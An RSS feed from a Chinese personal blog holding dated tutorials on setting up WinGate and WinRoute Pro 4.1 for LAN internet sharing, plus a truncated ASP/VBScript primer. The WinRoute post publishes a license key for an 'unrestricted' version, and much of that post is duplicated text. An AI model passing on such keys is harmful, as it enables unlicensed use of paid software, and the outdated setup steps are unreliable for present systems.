<?xml version="1.0" encoding="gb2312"?>

<!-- RSS generated by oioj.net on 4/16/2004 ; 感谢LeXRus提供 RSS 2.0 文档; 此文件可自由使用，但请保留此行信息 --> 
<!-- Source download URL: http://blogger.org.cn/blog/rss2.asp       -->
<rss version="2.0">

<channel>
<title>anchen0617的博客</title>
<link>http://blogger.org.cn/blog/blog.asp?name=anchen0617</link>
<description>anchen0617的博客</description>
<copyright>blogger.org.cn</copyright>
<generator>W3CHINA Blog</generator>
<webMaster>webmaster@blogger.org.cn</webMaster>
<item>
<title><![CDATA[收款台]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=36745</link>
<author>anchen0617</author>
<pubDate>2008/6/11 17:27:39</pubDate>
<description><![CDATA[<IMG src="http://blogger.org.cn/blog/images/file/pic.gif" border=0><A href="http://blogger.org.cn/blog/uploadfile/2008611172722956.JPG" target=_blank>yh1.JPG</A>]]></description>
</item><item>
<title><![CDATA[wingate使用攻略]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=25652</link>
<author>anchen0617</author>
<pubDate>2007/6/21 12:26:38</pubDate>
<description><![CDATA[运行Wingate的硬件需求 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Wingate软件只在LAN上的一台机器上运行，这台机器通常称为WinGate或gateway机器。LAN上的其它计算机机称为客户机（client）或工作站（workstation)。WinGate机器通过Modem或其它方式访问Internet，而客户机则通过WinGate机器间接的访问Internet。Wingate对客户机的硬件要求不高，只要能运行相应的操作系统（如Windows &nbsp; 3.1、Windows &nbsp; 95、Windows &nbsp; NT等），但运行Wingate软件的机器的最低推荐配置如下： &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　小规模的LAN（2-5个用户）：若运行Windows &nbsp; 95则需486 &nbsp; DX2/66以上的CPU、16M以上内存、14.4KBps以上的Modem，若运行Windows &nbsp; NT则需Pentium &nbsp; 90以上的CPU、32M以上的内存和33.6KBps以上的Modem。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　中等规模的LAN（5-20个用户）：一般建议使用Windows &nbsp; NT操作系统，机器要求有Pentium &nbsp; 90以上的CPU、32M以上的内存、33.6KBps的Modem（或使用ISDN专线连接）。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　大规模的LAN（20个用户以上）：运行Windows &nbsp; NT操作系统，Pentium &nbsp; 120以上的机器、32M的内存，通过ISDN或T1专线访问Internet。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 如何安装Wingate &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Wingate软件的最新版本是WinGate &nbsp; 2.1b，它是98年3月6号刚刚推出的。用户可以从http://www.wingate.net/download.html处下载。用于Windows &nbsp; 95的版本文件名为wg21b95.exe，该文件大小约为1609K。下载完成后直接执行wg21b95.exe进行安装。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　1.运行wg21b95.exe &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　首先出现的是 &nbsp; WinGate &nbsp; 2.1的版权与欢迎画面，并要求你选择安装方式。新用户可以选择直接安装，已安装有低版本Wingate的用户只需选择升级安装即可。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　2.安装路径 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　在这里请选择安装路径,缺省安装路径为C:/Program &nbsp; Files/wingate。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　3.许可证 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Wingate是共享软件，如果不想付费申请一个注册号的话，那么就只能使用两台机器同时上网，这种方式很适合于一般的家庭用户。如果想有更多的机器通过WinGate同时上网，就必须向该公司申请一个注册号，WinGate &nbsp; 2.1版本的注册费用很便宜，申请5个用户（不包括运行Wingate的机器）同时上网也只需110美元。如果申请有注册号，按要求填上Licence和Licence &nbsp; Key即可。如果没有申请，则这两项都保持空白。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　3.设定WinGate的SMTP、 &nbsp; News、IRC和IMAP4服务器。这几项用户可根据自己的实际情况填写，如果没有的话也可以跳过去不填。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　4.设定 &nbsp; Cache路径及大小 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　由于WinGate提供了Cache功能，可以将用户访问过的站点上的内容存储起来。以后如果有人通过LAN上的机器再次访问同一个站点，而该站点的内容又没有更新的话， &nbsp; WinGate &nbsp; 2.1b便会直接采用已经存储在 &nbsp; WinGate机器本身硬盘上的数据以节省重复读取的时间。因此用户需要设定 &nbsp; Cache文件存放的路径以及Cache之大小，缺省的Cache大小是500M，当存储的内容超过设定的Cache大小时，系统会自动将Cache中原有的内容删除以便存储新的内容。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　5.输入机器名称及 &nbsp; IP地址，随后WinGate &nbsp; 2.1b会询问这台 &nbsp; Proxy &nbsp; Server的一些信息，首先必须输入 &nbsp; WinGate &nbsp; 2.1b机器的名称以及 &nbsp; IP地址。名称输入Wingate，IP地址必须Windows &nbsp; 95机器上网卡的 &nbsp; IP地址。 &nbsp; WinGate2.1内定的 &nbsp; IP地址是一个 &nbsp; Class &nbsp; C级的 &nbsp; IANA保留IP地址，区段为192.168.0，因此这里可以设为192.168.0.1。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　在客户机上不需安装WinGate软件。只需把GateKeeper.exe、wingae2.hlp、wingate2.cnt和wg2util.exe这几个文件拷贝到每台客户机上，或者把这几个文件放到一个LAN上的机器都可以共享的目录里。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; Wingate的工作原理 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Wingate包括两个主要的组件，一是WinGate服务引擎，它在LAN中的各个机器上运行并处理各客户机的服务请求，但通常用户是看不到这个服务引擎的运行情况的。另一个是GateKeeper，它是WinGate引擎的控制和配置工具。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　在LAN上的客户机希望访问Internet时，它向WinGate机器发出一个访问请求，WinGate机器再将客户机的请求转发给真正的Internet服务器。因此WinGate机器的作用实际上就是一个代理服务器。下面我们以WWW浏览器为例说明其工作过程： &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　1.LAN上某个客户机连接到WinGate机器上 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　2.客户机向WinGate机器发出代理请求 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　3.WinGate机器解释这个请求，如果这个请求有效的话，则将其连接到请求中确定的服务器上 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　4.WinGate机器对Internet上的Web服务器发出修改过的请求，就好象WinGate机器自己是一个浏览器一样。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　5.Web服务器将文件传给WinGate机器 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　6.WinGate机器将文件转发给客户机上的Web浏览器 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　其它的服务如Ftp、Telnet、SMTP等服务的工作过程与此类似。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; WinGate机器的设置 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　WinGate机器的工作原理要求它使用一个特殊的IP地址，这个IP地址不能用Internet上已有的IP地址冲突。这里我们建议在设置WinGate机器的TCP/IP时将IP地址设置为192.168.0.1，这个地址是IANA的保留地址，因此Internet不会有人使用。将“子网掩码”设为255.255.255.0，“WINS配置”设为“禁用WINS”解析，“网关设置”保留空白，“高级”和“绑定”选项使用默认值。“DNS”设置选择“启用DNS”，在“DNS服务器搜索顺序”中输入你的ISP的DNS服务器地址，在“域后缀搜索顺序”中保留空白，然后重新启动Windows &nbsp; 95使新的设置生效。这种设置对运行Windows &nbsp; NT &nbsp; 3.51和Windows &nbsp; NT4的机器也同样有效。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 客户机上的设置 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　客户机上的TCP/IP设置基本上与WinGate机器上的类似，只是在“DNS”设置时，在“主机”处输入你的机器名称，在“域”和“域后缀搜索顺序”中保留空白，在“DNS搜索顺序”中输入WInGate机器的名称（即192.168.0.1）,将第一台客户机的IP设为192.168.0.2,第二台客户机的IP地址设为192.168.0.3,依次类推。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　设置完TCP/IP后，用Windows &nbsp; 95的记事本或其它的编辑器编辑一个名为HOSTS的文件，内容只有一行，即“192.168.0.1 &nbsp; wingate”。注意在wingate后面必须回车，否则无效。HOSTS文件不能带扩展名，且必须放在机器的Windows &nbsp; 95目录下。在Windows &nbsp; 95的目录下一般都有一个叫HOSTS.SAM的文件，用户在编辑HOSTS文件时可以参考这个文件。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　完成以上设置后，还需要对客户机上的浏览器进行设置。如果使用的是Internet &nbsp; Explorer，进入 &nbsp; Internet &nbsp; Explorer的View，选择Options，选择Connection，选择“Connect &nbsp; through &nbsp; a &nbsp; Proxy &nbsp; server”，单击"Settings”，将HTTP、FTP、Gopher和SOCKS的代理均设为“wingate”或“192.168.0.1”，将HT &nbsp; TP的Port设为80，将FTP的Port设为21，将Gopher的Port设为70，将SOCKS的Port设为1080。如果使用的是Netscape &nbsp; Navigator浏览器，则进入“Options”，选择“Network &nbsp; Preferences”，选择“Manual &nbsp; Proxy &nbsp; Configuration”，单击“View”栏，将FTP、Gopher、HTTP的代理均设有“Wingate”或“192.168.0.1”，将FTP的Port设为21，将Gopher的Port设为70，将HTTP的Port设为80。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　客户机在使用Telnet时和一般采用 &nbsp; UNIX主机作为 &nbsp; Telnet &nbsp; Proxy的方式一样，必须先连上代理服务器才能连接到真正的服务器上，用户在工作站上首先输入Telnet &nbsp; Wingate &nbsp; ，在出现一个Wingate&gt;的提示符后，接着直接输入要连接的主机就可以了，不需要再用 &nbsp; open指令。 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 测试连接 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　在联入Internet之前，首先要测试LAN中的各机器之间的TCP/IP连接是否正常。Windows &nbsp; 95本身提供了一个测试命令ping可以完成这个功能。在每个客户机上执行ping &nbsp; wingate命令，如果各机器与WinGate机器之间的TCP/IP连接正常的话，每一台机器执行ping &nbsp; wingate命令都应该返回下列信息： &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　　　　　 &nbsp; Ping &nbsp; [192.168.0.1] &nbsp; with &nbsp; 32 &nbsp; bytes &nbsp; of &nbsp; data &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　　　　　 &nbsp; Reply &nbsp; from &nbsp; 192.168.0.1: &nbsp; bytes=32 &nbsp; time&lt;=10ms &nbsp; TTL=32 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　　　　　 &nbsp; Reply &nbsp; from &nbsp; 192.168.0.1: &nbsp; bytes=32 &nbsp; time&lt;=10ms &nbsp; TTL=32 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　　　　　 &nbsp; Reply &nbsp; from &nbsp; 192.168.0.1: &nbsp; bytes=32 &nbsp; time&lt;=10ms &nbsp; TTL=32 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　　　　　 &nbsp; Reply &nbsp; from &nbsp; 192.168.0.1: &nbsp; bytes=32 &nbsp; time&lt;=10ms &nbsp; TTL=32 &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　如果机器返回的是Destination &nbsp; host &nbsp; unreachable或者是Bad &nbsp; IP则说明客户与WinGate之间的TCP/IP连接有故障，需要重新进行设置。&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp; <BR>]]></description>
</item><item>
<title><![CDATA[WinRoute Pro 4.1全攻略]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=25651</link>
<author>anchen0617</author>
<pubDate>2007/6/21 12:24:25</pubDate>
<description><![CDATA[现在网络共享软件很多，主要分代理服务器和软网关两种方式，代理服务器是使得一个整个计算机网络同时共享一个(或多个)连接，其中代理服务器最典型是Wingate。而软网关方式是在一台计算机上设置一个软网关，利用软网关来完成上网数据的转换和中继的任务，客户机可通过这个网关上网。此种方式较上一种方式，设置比较简单，而且对主机的硬件要求也不高，很适合国内用户使用。此类软件有Sygate、WinRoute等。其中WinRoute4.1在这类软件的功能是最强大，其易用性、安全性、强壮性最好，那么下面我将WinRoute介绍给大家分享。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 一、WinRoute &nbsp; Pro的主要功能 &nbsp; &nbsp; <BR>&nbsp; WinRoute &nbsp; Pro是一个集路由器、DHCP服务器、DNS服务器、NAT、防火墙于一身的代理服务器软件，同时它还是一个可以应用于局域网内部的邮件服务器软件，所以WinRoute &nbsp; Pro不但可以实现局域网内的所有微机共享一个 &nbsp; Internet &nbsp; 连接（连接方式包括MODEM、ISDN、xDSL、DDN、DirecPC等），而且可以实现局域网内部的邮件管理，实现局域网与Internet之间的邮件交换。该软件安装使用非常简单，仅需在服务器安装即可。设置选项交互性好，且有内置缓存功能，使访问速度大大提高。WinRoute是应用于局域网共享Internet连接的场合（如网吧）的佳品！ &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 该程序字节不大，但功能应有尽有，最实用的就是通过设置软网关在局域网共享，还能够多人共享同一个email帐号而且互不干扰，它还具备以下许多特色的功能。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; １、可以作为本地局域网的一个简单的域名服务器，包含了一个DNS的缓存，还可以转发DNS域名查询信息。 &nbsp; &nbsp; &nbsp; <BR>&nbsp; ２、可以端口映射实现反向代理功能，让外部访问受NAT保护的内部网络所提供的一些服务。 &nbsp; &nbsp; &nbsp; <BR>&nbsp; ３、它具有路由器的寻径功能，让局域网里的多台计算机使用同一个IP地址访问因特网，还能对外来访问进行隔离，起防火墙作用，自动保护内部网络不受到外部的攻击。 &nbsp; &nbsp; <BR>&nbsp; ４、该软件支持基于IP地址的过滤和限制，提供限制可访问的URL的安全功能。 &nbsp; &nbsp; <BR>&nbsp; ５、利用该软件提供的ＤＨＣＰ服务器功能，可以动态分配局域网上的计算机的TCP/IP地址。 &nbsp; &nbsp; <BR>&nbsp; ６、为保证安全，用户可以通过该软件定义一个过滤规则，对经过代理服务器的数据信息进行过滤。 &nbsp; &nbsp; <BR>&nbsp; ７、它能提供代理服务器功能，并且可以设置缓存这样就可以大幅度提高游览的速度。(这个功能是非常有用的) &nbsp; &nbsp; &nbsp; <BR>&nbsp; ８、它还可以作为电子邮件服务器来使用，利用它来接受和发送电子邮件。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 目前WinRoute &nbsp; Pro4.1是最新版本，您可到（http://www.tinysoftware.com/download.php）下载，大小1.41M，但要提醒大家的是该软件在没有输入注册许可号之前试用期为30天，输入了相应的许可号后可得到不同的许可权限。4.1版完全无限制版的许可号为：62E56705-53F0DC95。注册时你可以在WinRoute的菜单上点击“Help/About &nbsp; application”，弹出一对信息框，再点击信息框的Licence选项栏中的Set &nbsp; Licence按钮，打开注册信息框，你就可在文本栏中输入注册码了。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 二、安装和运行WinRoute &nbsp; Pro4.1 &nbsp; &nbsp; <BR>&nbsp; 在安装WinRoute &nbsp; Pro &nbsp; 4.1之前，需要一台安装有Win95/98或WinNT3.51以上版本的操作系统，32MB以上内存，并安装有网卡的电脑（以下称为服务器），其它每个客户机必须装有网卡，并各通过一根网线接入集线器，由集线器与服务器连接。同时，必须要求所在的服务器应当既能连接到因特网又能被局域网内的机器访问，连接到因特网的方式可以是通过拨号网络，也可以是通过专线DDN、ADSL、宽带以太网等等。如果是拨号接入，服务器只须安装一块网卡，该网卡配虚拟IP地址；如果是专线接入，服务器必须安装两块网卡，一块必须配有一个因特网服务商提供的合法的因特网IP地址（同时作为内部局域网的代理网关使用），一块配置一个局域网内部的虚拟IP地址，通常内部局域网的IP地址可以使用保留的IP地址，如192.168.*.*，10.*.*.*等格式的地址。同时为了保护局域网的内容安全，建议不要为局域网内部的客户机配置真正的IP地址，同时也节省IP的开销。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 接下来就要在服务器上安装WinRoute了（客户机上无需安装WinRoute）。安装很方便，只要双击安装程序，无需设置，一路点击Install或OK很快就可安装好，并自动重新启动电脑，WinRoute的系统配置才能被激活。当然在安装过程中，你可另选择存贮路径。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; WinRoute由三个管理工具组成：1、WinRoute引擎；2、WinRoute引擎监视器；3、WinRoute管理程序。其中WinRoute引擎执行所有路由和地址分析操作（包括信息包过滤、端口映射等等），WinRoute引擎监视器用来开始和停止你的WinRoute引擎。WinRoute引擎监视器监听WinRoute引擎是否处于激活状态，它会在系统的桌面下角任务栏上显示出蓝白色的图标。WinRoute管理程序提供了对WinRoute引擎的配置和设置。可用在本地的局部网络，也可以用在互联网络。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 安装完毕，重启电脑后，检验WinRoute引擎的运行，开始运行WinRoute，并从WinRoute管理程序组上运行WinRoute引擎监视器。在系统的桌面下角任务栏上显示出一个小圆型的蓝白色图标，这表示WinRoute引擎正在运行。如是有红圆型的图标则表明WinRoute处于停止。在图标上简单点击鼠标右键，在弹出菜单项选择“Start &nbsp; WinRoute &nbsp; Engine”。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 开启WinRoute管理程序，启动WinRoute管理程序模块，选择“开始/程序/WinRoute &nbsp; Pro或者单击WinRoute引擎监视器的图标，从弹出菜单选择。你也可以从任一台本地网中的电脑运行WRAdmin.exe，将出现一个初始登录对话框。将显示出一个初始登录对话窗口（，当管理窗口弹出后，或者保留预置的localhost，或者输入WinRoute主机的IP地址。输入管理用户名和密码。注意的是，如果第一次连接时，用“Admin”作为用户名，可忽略口令。点击“OK”则可进入主界面。现在网络共享软件很多，主要分代理服务器和软网关两种方式，代理服务器是使得一个整个计算机网络同时共享一个(或多个)连接，其中代理服务器最典型是Wingate。而软网关方式是在一台计算机上设置一个软网关，利用软网关来完成上网数据的转换和中继的任务，客户机可通过这个网关上网。此种方式较上一种方式，设置比较简单，而且对主机的硬件要求也不高，很适合国内用户使用。此类软件有Sygate、WinRoute等。其中WinRoute4.1在这类软件的功能是最强大，其易用性、安全性、强壮性最好，那么下面我将WinRoute介绍给大家分享。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 一、WinRoute &nbsp; Pro的主要功能 &nbsp; &nbsp; <BR>&nbsp; WinRoute &nbsp; Pro是一个集路由器、DHCP服务器、DNS服务器、NAT、防火墙于一身的代理服务器软件，同时它还是一个可以应用于局域网内部的邮件服务器软件，所以WinRoute &nbsp; Pro不但可以实现局域网内的所有微机共享一个 &nbsp; Internet &nbsp; 连接（连接方式包括MODEM、ISDN、xDSL、DDN、DirecPC等），而且可以实现局域网内部的邮件管理，实现局域网与Internet之间的邮件交换。该软件安装使用非常简单，仅需在服务器安装即可。设置选项交互性好，且有内置缓存功能，使访问速度大大提高。WinRoute是应用于局域网共享Internet连接的场合（如网吧）的佳品！ &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 该程序字节不大，但功能应有尽有，最实用的就是通过设置软网关在局域网共享，还能够多人共享同一个email帐号而且互不干扰，它还具备以下许多特色的功能。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; １、可以作为本地局域网的一个简单的域名服务器，包含了一个DNS的缓存，还可以转发DNS域名查询信息。 &nbsp; &nbsp; &nbsp; <BR>&nbsp; ２、可以端口映射实现反向代理功能，让外部访问受NAT保护的内部网络所提供的一些服务。 &nbsp; &nbsp; &nbsp; <BR>&nbsp; ３、它具有路由器的寻径功能，让局域网里的多台计算机使用同一个IP地址访问因特网，还能对外来访问进行隔离，起防火墙作用，自动保护内部网络不受到外部的攻击。 &nbsp; &nbsp; <BR>&nbsp; ４、该软件支持基于IP地址的过滤和限制，提供限制可访问的URL的安全功能。 &nbsp; &nbsp; <BR>&nbsp; ５、利用该软件提供的ＤＨＣＰ服务器功能，可以动态分配局域网上的计算机的TCP/IP地址。 &nbsp; &nbsp; <BR>&nbsp; ６、为保证安全，用户可以通过该软件定义一个过滤规则，对经过代理服务器的数据信息进行过滤。 &nbsp; &nbsp; <BR>&nbsp; ７、它能提供代理服务器功能，并且可以设置缓存这样就可以大幅度提高游览的速度。(这个功能是非常有用的) &nbsp; &nbsp; &nbsp; <BR>&nbsp; ８、它还可以作为电子邮件服务器来使用，利用它来接受和发送电子邮件。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 目前WinRoute &nbsp; Pro4.1是最新版本，您可到（http://www.tinysoftware.com/download.php）下载，大小1.41M，但要提醒大家的是该软件在没有输入注册许可号之前试用期为30天，输入了相应的许可号后可得到不同的许可权限。4.1版完全无限制版的许可号为：62E56705-53F0DC95。注册时你可以在WinRoute的菜单上点击“Help/About &nbsp; application”，弹出一对信息框，再点击信息框的Licence选项栏中的Set &nbsp; Licence按钮，打开注册信息框，你就可在文本栏中输入注册码了。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 二、安装和运行WinRoute &nbsp; Pro4.1 &nbsp; &nbsp; <BR>&nbsp; 在安装WinRoute &nbsp; Pro &nbsp; 4.1之前，需要一台安装有Win95/98或WinNT3.51以上版本的操作系统，32MB以上内存，并安装有网卡的电脑（以下称为服务器），其它每个客户机必须装有网卡，并各通过一根网线接入集线器，由集线器与服务器连接。同时，必须要求所在的服务器应当既能连接到因特网又能被局域网内的机器访问，连接到因特网的方式可以是通过拨号网络，也可以是通过专线DDN、ADSL、宽带以太网等等。如果是拨号接入，服务器只须安装一块网卡，该网卡配虚拟IP地址；如果是专线接入，服务器必须安装两块网卡，一块必须配有一个因特网服务商提供的合法的因特网IP地址（同时作为内部局域网的代理网关使用），一块配置一个局域网内部的虚拟IP地址，通常内部局域网的IP地址可以使用保留的IP地址，如192.168.*.*，10.*.*.*等格式的地址。同时为了保护局域网的内容安全，建议不要为局域网内部的客户机配置真正的IP地址，同时也节省IP的开销。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 接下来就要在服务器上安装WinRoute了（客户机上无需安装WinRoute）。安装很方便，只要双击安装程序，无需设置，一路点击Install或OK很快就可安装好，并自动重新启动电脑，WinRoute的系统配置才能被激活。当然在安装过程中，你可另选择存贮路径。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; WinRoute由三个管理工具组成：1、WinRoute引擎；2、WinRoute引擎监视器；3、WinRoute管理程序。其中WinRoute引擎执行所有路由和地址分析操作（包括信息包过滤、端口映射等等），WinRoute引擎监视器用来开始和停止你的WinRoute引擎。WinRoute引擎监视器监听WinRoute引擎是否处于激活状态，它会在系统的桌面下角任务栏上显示出蓝白色的图标。WinRoute管理程序提供了对WinRoute引擎的配置和设置。可用在本地的局部网络，也可以用在互联网络。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 安装完毕，重启电脑后，检验WinRoute引擎的运行，开始运行WinRoute，并从WinRoute管理程序组上运行WinRoute引擎监视器。在系统的桌面下角任务栏上显示出一个小圆型的蓝白色图标，这表示WinRoute引擎正在运行。如是有红圆型的图标则表明WinRoute处于停止。在图标上简单点击鼠标右键，在弹出菜单项选择“Start &nbsp; WinRoute &nbsp; Engine”。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 开启WinRoute管理程序，启动WinRoute管理程序模块，选择“开始/程序/WinRoute &nbsp; Pro或者单击WinRoute引擎监视器的图标，从弹出菜单选择。你也可以从任一台本地网中的电脑运行WRAdmin.exe，将出现一个初始登录对话框。将显示出一个初始登录对话窗口（，当管理窗口弹出后，或者保留预置的localhost，或者输入WinRoute主机的IP地址。输入管理用户名和密码。注意的是，如果第一次连接时，用“Admin”作为用户名，可忽略口令。点击“OK”则可进入主界面。当然您为了保密起见也可设置一个管理员密码。点击WinRoute主介面上的图标栏上倒数第三个图标按钮，弹出User &nbsp; Accounts的对话框，在该对话框中的User域中有一用户“Admin”这就是WinRoute的管理员用户名了，双击该用户名或单击该对话框中的“Edit”按钮弹出Edit &nbsp; User对话框，看到了吧，管理员密码就是在这里设置的。在Password文本框中输入管理员密码；在Confirm文本框中输入确认密码（即再输入一次上面输入的管理员密码），单击"OK"按钮，这样WinRoute管理员密码就设置完成了。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>当然您为了保密起见也可设置一个管理员密码。点击WinRoute主介面上的图标栏上倒数第三个图标按钮，弹出User &nbsp; Accounts的对话框，在该对话框中的User域中有一用户“Admin”这就是WinRoute的管理员用户名了，双击该用户名或单击该对话框中的“Edit”按钮弹出Edit &nbsp; User对话框，看到了吧，管理员密码就是在这里设置的。在Password文本框中输入管理员密码；在Confirm文本框中输入确认密码（即再输入一次上面输入的管理员密码），单击"OK"按钮，这样WinRoute管理员密码就设置完成了。&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>]]></description>
</item><item>
<title><![CDATA[asp学习入门经验谈]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=anchen0617&amp;id=8988</link>
<author>anchen0617</author>
<pubDate>2005/10/5 0:33:14</pubDate>
<description><![CDATA[
<TABLE cellSpacing=0 cellPadding=0 width="95%" align=center border=0>
<TBODY>
<TR>
<TD vAlign=bottom align=middle height=40><FONT style="PADDING-RIGHT: 1px; PADDING-LEFT: 1px; FILTER: glow(color=#FF0000,strength=5); PADDING-BOTTOM: 1px; COLOR: #fed969; PADDING-TOP: 1px; HEIGHT: 10px" size=5>asp学习入门经验谈</FONT></TD></TR></TD></TR>
<TR>
<TD vAlign=top align=middle height=40>
<HR width="100%" color=#555555 SIZE=1>
</TD></TR>
<TR>
<TD class=line><SPAN style="FONT-SIZE: 9pt"><FONT color=#000000>一.VBScript语法简介<BR>VBScript语句是一种基于VB的一种脚本语言,主要用于WEB服务器端的程序开发,我们<BR>这里只介绍一些简单的语句，主要是操作数据库的几种常见的语句<BR>&lt;1&gt;.vbscript的标识<BR>&nbsp;&nbsp;&lt;%<BR>&nbsp;&nbsp; 语句<BR>&nbsp;&nbsp; ……<BR>&nbsp;&nbsp;%&gt;<BR>&lt;2&gt;定义变量dim语句<BR>&lt;%<BR>&nbsp;&nbsp;dim a,b<BR>&nbsp;&nbsp;a=10<BR>&nbsp;&nbsp;b=”ok!”<BR>%&gt;<BR>注意：定义的变量可以是数值型，也可以是字符或者其他类型的<BR>&lt;3&gt;简单的控制流程语句<BR>&nbsp;&nbsp;1. If 条件1 then<BR>&nbsp;&nbsp;&nbsp;&nbsp; 语句1<BR>elseif 条件2 then<BR>&nbsp;&nbsp;&nbsp;&nbsp; 语句2<BR>else<BR>&nbsp;&nbsp;&nbsp;&nbsp; 语句3<BR>endif<BR>2.while 条件<BR>&nbsp;&nbsp; 语句 <BR>&nbsp;&nbsp;wend<BR>3.for count=1 to n step m<BR>&nbsp;&nbsp;语句1<BR>&nbsp;&nbsp;exit for<BR>&nbsp;&nbsp;语句2<BR>next <BR>二.ASP数据库简单操作教程<BR>&lt;1&gt;.数据库连接(用来单独编制连接文件conn.asp)<BR>&lt;%<BR>&nbsp;&nbsp;Set conn = Server.CreateObject("ADODB.Connection")<BR>&nbsp;&nbsp;conn.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" &amp; Server.MapPath("\bbs\db1\user.mdb") <BR>%&gt;<BR>(用来连接bbs\db1\目录下的user.mdb数据库)<BR>&lt;2&gt;显示数据库记录<BR>&nbsp;&nbsp;原理：将数据库中的记录一一显示到客户端浏览器，依次读出数据库中的每一条记录<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果是从头到尾：用循环并判断指针是否到末&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;使用: not rs.eof<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;如果是从尾到头：用循环并判断指针是否到开始&nbsp;&nbsp;&nbsp;&nbsp;使用：not rs.bof<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;!--#include 